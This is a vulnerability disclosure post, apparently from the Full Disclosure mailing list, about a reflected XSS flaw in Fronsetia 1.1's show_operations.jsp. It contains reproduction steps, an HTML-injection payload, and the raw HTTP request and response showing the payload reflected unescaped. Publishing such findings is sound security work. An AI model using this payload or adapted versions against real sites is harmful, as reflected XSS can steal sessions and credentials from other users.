# Exploit Title: Reflected XSS - fronsetiav1.1 # Date: 11/2024 # Exploit Author: Andrey Stoykov # Version: 1.1 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-14-reflected.html Reflected XSS #1 - "show_operations.jsp" Steps to Reproduce: 1. Visit main page of the application. 2. In the input field of "WSDL Location" enter the following payload "><img src=x onerror=alert(1)> // HTTP GET Request GET /fronsetia/show_operations.jsp?Fronsetia_WSDL=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1 Host: 192.168.78.128:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 [...] // HTTP Response HTTP/1.1 200 Content-Type: text/html;charset=ISO-8859-1 Content-Length: 6360 Date: Wed, 20 Nov 2024 19:42:15 GMT Keep-Alive: timeout=20 Connection: keep-alive [...] <title> Fronsetia: "><img src=x onerror=alert(1)> </title> [...] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/